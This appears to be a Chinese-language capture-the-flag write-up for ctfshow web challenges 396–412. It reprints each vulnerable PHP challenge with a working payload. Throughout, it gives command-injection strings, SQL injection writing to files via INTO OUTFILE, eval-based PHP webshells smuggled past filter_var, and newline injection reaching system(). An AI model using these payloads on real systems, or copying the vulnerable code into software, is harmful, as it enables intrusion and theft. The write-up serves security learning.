Bootstrap

ctfshow web入门 其他 web396--web412

web396

 <?php
error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    shell_exec('echo '.$url['host'].'> '.$url['path']);

}else{
    highlight_file(__FILE__);
} 

shell_exec('echo '.$url['host'].'> '.$url['path']);
这个是将url的host写入path,也就是说我们的path必须是一个文件路径，而host是一个命令的执行

在这里插入图片描述

?url=http://@$(tac fl0g.php)/var/www/html/1.txt
?url=http://@$(ls)/var/www/html/1.txt

web397

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 17:49:13
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);

}else{
    highlight_file(__FILE__);
} 

?url=http://@$(tac fl0g.php)/../var/www/html/1.txt
/tmp/是在根目录下面直接返回上级路径即可

?url=http://1/1;echo `cat fl0g.php`>a.txt
用;将前面的命令闭合，然后执行命令

web398

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:00:42
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(!preg_match('/;/', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

对host过滤了分号，没影响

web399

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:04:27
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(!preg_match('/;|>/', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

没影响直接打

web400

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:13:14
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(!preg_match('/;|>|http|https/i', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

还是没影响

web401

还可以弹回显，直接不就用哦本地了，但是没影响直接打

web402

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:35:41
# @email: [email protected]
# @link: https://ctfer.com

*/


#error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    var_dump($url);
    if(preg_match('/http|https/i', $url['scheme'])){
        die('error');
    }
    if(!preg_match('/;|>|\||base/i', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

把http改成1就行

?url=1://@$(tac fl0g.php)/../var/www/html/1.txt

web 403

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:44:06
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
        shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

这里说明了host必须是正常域名，我们就不能写命令了，只能用;闭合然后写命令

?url=http://127.0.0.1/1;echo `cat fl0g.php`>a.txt

web404

查看源代码
在这里插入图片描述

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:51:39
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
        if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
            shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
        }
    }

}else{
    highlight_file(__FILE__);
} 

?url=1.php://192.168.1.1;echo `cat f*` > 3.txt;1/a

web405

?url=1.php://192.168.1.1;echo `cat f*` > 3.txt;1/a
然后访问3.txt

在这里插入图片描述

web406

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-16 14:58:50
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-16 16:00:51
# @email: [email protected]
# @link: https://ctfer.com

*/

require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
    $sql = "select * from links where url ='{$url}'";
    $result = $conn->query($sql);
}else{
    echo '不通过';
}

进行sql注入

可以爆库名也可以不爆因为一般都是在当前数据库，所以我就没有爆
爆表名
?url=http://127.0.0.1/1.php'union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/into/**/outfile/**/'/var/www/html/3.txt#
爆列名
?url=http://127.0.0.1/1.php'union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/into/**/outfile/**/'/var/www/html/9.txt#
爆flag
?url=http://127.0.0.1/1.php'union/**/select/**/1,group_concat(flag)/**/from/**/flag/**/into/**/outfile/**/'/var/www/html/6.txt#
这么写主要是为了满足url的定义，并且闭合SQL语句实现注入，我尝试了很久

web407

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-16 14:58:50
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-16 17:24:13
# @email: [email protected]
# @link: https://ctfer.com

*/


highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];

if(filter_var ($ip,FILTER_VALIDATE_IP)){
    call_user_func($ip);
}

class cafe{
    public static function add(){
        echo file_get_contents('flag.php');
    }
}

这里我们要调用cafe类里面的add方法，而检验完IP之后刚好会使用call_user_func进行函数的调用

?ip=cafe::add

web408

P师傅文章
里面讲了危险函数的绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-16 14:58:50
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-16 19:53:18
# @email: [email protected]
# @link: https://ctfer.com

*/


highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];

if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}

explode('@', $email)
用@将参数分开并且将，@之前的写入，@之后的文件
filter_var ($email,FILTER_VALIDATE_EMAIL)
检查是否为正常的IP，这里我们可以使用双引号绕过
GET：
而且有空格格式就不对所以小马得这么写
?email="<?=eval($_POST[1])?>"@1.php

web409

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-16 14:58:50
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-16 20:26:16
# @email: [email protected]
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    $email=preg_replace('/.flag/', '', $email);
    eval($email);
}

我们最后会eval  email的所以我们可以使用这个payload
?email="flageval($_POST[1]);?>"@12138.com
这个?>是用来闭合这个网页的<?php 
然后正则函数刚好可以把"flag 替换为空，这样子就形成了我们的小马

web410

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-25 23:07:21
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-26 13:12:41
# @email: [email protected]
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
    if($b=='true' || intval($b)>0){
        die('FLAG NOT HERE');
    }else{
        echo $flag;
    }
} 

filter_var ($b,FILTER_VALIDATE_BOOLEAN)函数特性
如果是 "1", "true", "on" 以及 "yes"，则返回 true。
如果是 "0", "false", "off", "no" 以及 ""，则返回 false。
否则返回 NULL。

?b=on

web411

?b=yes

web412

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-25 23:07:21
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-26 16:19:28
# @email: [email protected]
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

$ctfshow=$_POST['ctfshow'];

if(isset($ctfshow)){
    file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND);
    include('flag.php');
}

这里的函数写的是将//和ctfshow进行一个拼接，那我们就可以使用一个换行进行绕过

POST:
ctfshow=%0asystem('tac f*');

悦读

道可道，非常道；名可名，非常名。 无名，天地之始，有名，万物之母。 故常无欲，以观其妙，常有欲，以观其徼。 此两者，同出而异名，同谓之玄，玄之又玄，众妙之门。

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